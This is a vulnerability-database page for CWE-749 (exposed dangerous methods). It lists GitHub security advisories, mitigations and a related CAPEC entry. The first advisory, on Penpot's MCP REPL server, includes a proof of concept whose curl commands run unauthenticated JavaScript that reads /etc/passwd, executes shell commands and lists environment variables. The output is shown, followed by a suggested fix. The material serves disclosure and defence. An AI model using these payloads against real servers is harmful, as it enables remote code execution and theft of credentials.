GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-749

Allowed

Exposed Dangerous Method or Function

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

332 vulnerabilities reference this CWE, most recent first.

GHSA-22QR-RP27-J9WM

Vulnerability from github – Published: 2026-05-19 19:57 – Updated: 2026-05-19 19:57
VLAI
Summary
PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE
Details

Summary

The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.

Details

mcp/packages/server/src/ReplServer.ts:89:

this.server = this.app.listen(this.port, () => {
    // NO HOST ARGUMENT — Express defaults to 0.0.0.0

Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):

this.app.listen(this.port, this.host, async () => {

The /execute endpoint at ReplServer.ts:52-79:

this.app.post("/execute", async (req, res) => {
    const { code } = req.body;
    // No auth check. Executes code via PluginBridge.executePluginTask()
    const task = new ExecuteCodePluginTask({ code });
    const result = await this.pluginBridge.executePluginTask(task);

No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.

This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts — ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.

PoC

I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.

$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES

Unauthenticated code execution:

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}

Binding verification:

$ ss -tlnp | grep 4403
LISTEN  0  511  *:4403  *:*  users:(("node",pid=696955,fd=21))

Listening on *:4403 — all interfaces.

Remote access from Docker container:

$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)

Reachable from any container on the Docker network.

Impact

Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.

Suggested fix

Two lines:

  1. Add a host parameter to the listen call in ReplServer.ts:89:
this.server = this.app.listen(this.port, 'localhost', () => {
  1. Add authentication to the /execute endpoint. Even a shared secret from an environment variable would be better than nothing.
Severity
8.8 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@penpot/mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45805"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:57:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe MCP module\u0027s `ReplServer` binds to all interfaces (`0.0.0.0:4403`) and exposes a `/execute` endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main `PenpotMcpServer` was partially fixed for a similar binding issue (#8683), but `ReplServer.ts` was missed.\n\n### Details\n\n`mcp/packages/server/src/ReplServer.ts:89`:\n\n```typescript\nthis.server = this.app.listen(this.port, () =\u003e {\n    // NO HOST ARGUMENT \u2014 Express defaults to 0.0.0.0\n```\n\nCompare with `PenpotMcpServer.ts:301` which correctly binds to `this.host` (default `\"localhost\"`):\n\n```typescript\nthis.app.listen(this.port, this.host, async () =\u003e {\n```\n\nThe `/execute` endpoint at `ReplServer.ts:52-79`:\n\n```typescript\nthis.app.post(\"/execute\", async (req, res) =\u003e {\n    const { code } = req.body;\n    // No auth check. Executes code via PluginBridge.executePluginTask()\n    const task = new ExecuteCodePluginTask({ code });\n    const result = await this.pluginBridge.executePluginTask(task);\n```\n\nNo auth middleware, no token check, no nothing. POST JSON with a `code` field and it runs.\n\nThis was partially flagged in #8683 (March 2026), which noted that `PenpotMcpServer.ts` was binding to `0.0.0.0`. PR #8686 attempted a fix but was closed without merging, and it only touched `PenpotMcpServer.ts` and `vite.config.ts` \u2014 `ReplServer.ts` wasn\u0027t in the diff. On current develop, `ReplServer.ts` line 89 still calls `listen(this.port)` with no host argument.\n\n### PoC\n\nI ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.\n\n```bash\n$ node server.js\nREPL server started on port 4403\nBound to: :::4403\nAll interfaces: YES\n```\n\n**Unauthenticated code execution:**\n\n```bash\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"code\":\"require(\\\"os\\\").hostname()\"}\u0027\n{\"success\":true,\"result\":\"kali\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"code\":\"require(\\\"fs\\\").readFileSync(\\\"/etc/passwd\\\",\\\"utf8\\\").split(\\\"\\\\n\\\").slice(0,3).join(\\\"\\\\n\\\")\"}\u0027\n{\"success\":true,\"result\":\"root:x:0:0:root:/root:/usr/bin/zsh\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"code\":\"require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\"}\u0027\n{\"success\":true,\"result\":\"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\\n\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"code\":\"JSON.stringify(Object.keys(process.env).slice(0,5))\"}\u0027\n{\"success\":true,\"result\":\"[\\\"SHELL\\\",\\\"SESSION_MANAGER\\\",\\\"WINDOWID\\\",\\\"QT_ACCESSIBILITY\\\",\\\"COLORTERM\\\"]\"}\n```\n\n**Binding verification:**\n\n```\n$ ss -tlnp | grep 4403\nLISTEN  0  511  *:4403  *:*  users:((\"node\",pid=696955,fd=21))\n```\n\nListening on `*:4403` \u2014 all interfaces.\n\n**Remote access from Docker container:**\n\n```bash\n$ docker exec penpot-backend curl -s http://172.18.0.1:4403/\nREPL Server - Penpot MCP (no auth)\n```\n\nReachable from any container on the Docker network.\n\n### Impact\n\nUnauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn\u0027t part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.\n\n### Suggested fix\n\nTwo lines:\n\n1. Add a `host` parameter to the listen call in `ReplServer.ts:89`:\n```typescript\nthis.server = this.app.listen(this.port, \u0027localhost\u0027, () =\u003e {\n```\n\n2. Add authentication to the `/execute` endpoint. Even a shared secret from an environment variable would be better than nothing.",
  "id": "GHSA-22qr-rp27-j9wm",
  "modified": "2026-05-19T19:57:36Z",
  "published": "2026-05-19T19:57:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/penpot/penpot"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint \u2014 RCE"
}

GHSA-29PV-3WHX-CQWV

Vulnerability from github – Published: 2024-10-25 09:32 – Updated: 2024-10-25 09:32
VLAI
Details

Sharp and Toshiba Tec MFPs provide configuration related APIs. They are expected to be called by administrative users only, but insufficiently restricted. A non-administrative user may execute some configuration APIs.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-47005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-25T07:15:04Z",
    "severity": "HIGH"
  },
  "details": "Sharp and Toshiba Tec MFPs provide configuration related APIs. They are expected to be called by administrative users only, but insufficiently restricted.\nA non-administrative user may execute some configuration APIs.",
  "id": "GHSA-29pv-3whx-cqwv",
  "modified": "2024-10-25T09:32:00Z",
  "published": "2024-10-25T09:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47005"
    },
    {
      "type": "WEB",
      "url": "https://global.sharp/products/copier/info/info_security_2024-10.html"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU95063136"
    },
    {
      "type": "WEB",
      "url": "https://www.toshibatec.com/information/20241025_01.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2C5W-43Q3-9H56

Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31
VLAI
Details

D-Link D-View coreservice_action_script Exposed Dangerous Function Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of D-Link D-View. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the coreservice_action_script action. The issue results from the exposure of a dangerous function. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-19573.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-44414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "D-Link D-View coreservice_action_script Exposed Dangerous Function Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of D-Link D-View. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the coreservice_action_script action. The issue results from the exposure of a dangerous function. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-19573.",
  "id": "GHSA-2c5w-43q3-9h56",
  "modified": "2024-05-03T03:31:04Z",
  "published": "2024-05-03T03:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44414"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1512"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2CW3-G6HP-3XJ8

Vulnerability from github – Published: 2024-03-21 15:31 – Updated: 2024-03-21 15:31
VLAI
Details

In JetBrains TeamCity before 2023.11 users with access to the agent machine might obtain permissions of the user running the agent process

Severity
4.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-29880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-21T14:15:10Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains TeamCity before 2023.11 users with access to the agent machine might obtain permissions of the user running the agent process",
  "id": "GHSA-2cw3-g6hp-3xj8",
  "modified": "2024-03-21T15:31:54Z",
  "published": "2024-03-21T15:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29880"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2F37-H53V-66VQ

Vulnerability from github – Published: 2024-04-09 15:30 – Updated: 2024-04-09 15:30
VLAI
Details

A denial of service vulnerability exists in the TDDP functionality of Tp-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0 Build 20220926. A specially crafted series of network requests can lead to reset to factory settings. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-49074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T15:15:28Z",
    "severity": "HIGH"
  },
  "details": "A denial of service vulnerability exists in the TDDP functionality of Tp-Link AC1350 Wireless MU-MIMO Gigabit Access Point (EAP225 V3) v5.1.0 Build 20220926. A specially crafted series of network requests can lead to reset to factory settings. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.",
  "id": "GHSA-2f37-h53v-66vq",
  "modified": "2024-04-09T15:30:37Z",
  "published": "2024-04-09T15:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49074"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1861"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1861"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2G8M-X62G-5M9W

Vulnerability from github – Published: 2025-12-24 00:30 – Updated: 2025-12-24 00:30
VLAI
Details

RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27659.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-14490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-23T22:15:50Z",
    "severity": "HIGH"
  },
  "details": "RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27659.",
  "id": "GHSA-2g8m-x62g-5m9w",
  "modified": "2025-12-24T00:30:16Z",
  "published": "2025-12-24T00:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14490"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1166"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2HMQ-H49V-WQM8

Vulnerability from github – Published: 2025-02-14 15:31 – Updated: 2026-06-01 15:30
VLAI
Details

Exposed Dangerous Method or Function vulnerability in PTT Inc. HGS Mobile App allows Manipulating User-Controlled Variables.This issue affects HGS Mobile App: before 6.5.0.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-12651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-14T14:15:31Z",
    "severity": "HIGH"
  },
  "details": "Exposed Dangerous Method or Function vulnerability in PTT Inc. HGS Mobile App allows Manipulating User-Controlled Variables.This issue affects HGS Mobile App: before 6.5.0.",
  "id": "GHSA-2hmq-h49v-wqm8",
  "modified": "2026-06-01T15:30:32Z",
  "published": "2025-02-14T15:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12651"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0034"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-25-0034"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PGP-5W4W-9255

Vulnerability from github – Published: 2023-09-11 12:30 – Updated: 2024-04-04 07:35
VLAI
Details

Govee Home app has unprotected access to WebView component which can be opened by any app on the device. By sending an URL to a specially crafted site, the attacker can execute JavaScript in context of WebView or steal sensitive user data by displaying phishing content.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3612"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-11T10:15:07Z",
    "severity": "HIGH"
  },
  "details": "Govee Home app has unprotected access to WebView component which can be opened by any app on\u00a0the device. By sending an URL to a specially crafted site, the attacker can execute JavaScript in context of WebView or\u00a0steal sensitive user data by displaying phishing content. ",
  "id": "GHSA-2pgp-5w4w-9255",
  "modified": "2024-04-04T07:35:00Z",
  "published": "2023-09-11T12:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3612"
    },
    {
      "type": "WEB",
      "url": "https://www.sk-cert.sk/sk/threat/sk-cert-bezpecnostne-varovanie-v20230811-10"
    },
    {
      "type": "WEB",
      "url": "https://www.sk-cert.sk/threat/sk-cert-bezpecnostne-varovanie-v20230811-10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2W4W-QVP3-4G7G

Vulnerability from github – Published: 2025-05-21 15:30 – Updated: 2025-11-03 21:33
VLAI
Details

A USB backdoor feature can be triggered by attaching a USB drive that contains specially crafted "salia.ini" files. The .ini file can contain several "commands" that could be exploited by an attacker to export or modify the device configuration, enable an SSH backdoor  or perform other administrative actions. Ultimately, this backdoor also allows arbitrary execution of OS commands.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-48415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-21T13:16:02Z",
    "severity": "MODERATE"
  },
  "details": "A USB backdoor feature can be triggered by attaching a USB drive that contains specially crafted \"salia.ini\" files. The .ini file can contain several \"commands\" that could be exploited by an attacker to export or modify the device configuration, enable an SSH backdoor\u00a0 or perform other administrative actions. Ultimately, this backdoor also allows arbitrary execution of OS commands.",
  "id": "GHSA-2w4w-qvp3-4g7g",
  "modified": "2025-11-03T21:33:57Z",
  "published": "2025-05-21T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48415"
    },
    {
      "type": "WEB",
      "url": "https://r.sec-consult.com/echarge"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/May/23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-368F-RF6P-3H4R

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2023-03-03 21:30
VLAI
Details

IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.1 could allow an authenticated user to execute a function that would cause the server to crash. IBM X-Force ID: 162714.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-4386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-01T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.1 could allow an authenticated user to execute a function that would cause the server to crash. IBM X-Force ID: 162714.",
  "id": "GHSA-368f-rf6p-3h4r",
  "modified": "2023-03-03T21:30:18Z",
  "published": "2022-05-24T16:49:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4386"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/162174"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/docview.wss?uid=ibm10886809"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/109019"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Mitigation
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be:
  • Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.
  • accessible to all users
  • restricted to a small set of privileged users
  • prevented from being directly accessible at all
CAPEC-500: WebView Injection

An adversary, through a previously installed malicious application, injects code into the context of a web page displayed by a WebView component. Through the injected code, an adversary is able to manipulate the DOM tree and cookies of the page, expose sensitive information, and can launch attacks against the web application from within the web page.

← Back to the CWE list